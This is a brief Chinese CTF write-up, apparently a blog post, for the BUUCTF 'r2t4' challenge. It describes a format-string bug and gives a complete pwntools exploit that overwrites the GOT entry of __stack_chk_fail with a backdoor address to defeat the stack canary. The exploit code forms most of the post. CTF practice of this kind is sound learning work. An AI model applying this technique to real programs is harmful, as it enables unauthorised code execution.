pwn-r2t4(__stack_chk_fail劫持绕过canary)

查看保护

 

main函数

 

backdoor函数

 

 

 

read栈溢出,但空间不够,并且开启了canary,printf存在明显的格式化字符串。

覆写got表中的__stack_chk_fail地址为backdoor的地址

计算出偏移为6

 

 exp:

#!/usr/bin/python
from pwn import *
from LibcSearcher import *
a=remote("node3.buuoj.cn",27856)
elf=ELF("./r2t4")
context(arch='amd64',os='linux',log_level='debug')

__stack_chk_fail=elf.got['__stack_chk_fail']
back=0x00400626

payload=fmtstr_payload(6,{__stack_chk_fail:back})
a.sendline(payload)


a.interactive()

 

点赞

发表评论

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像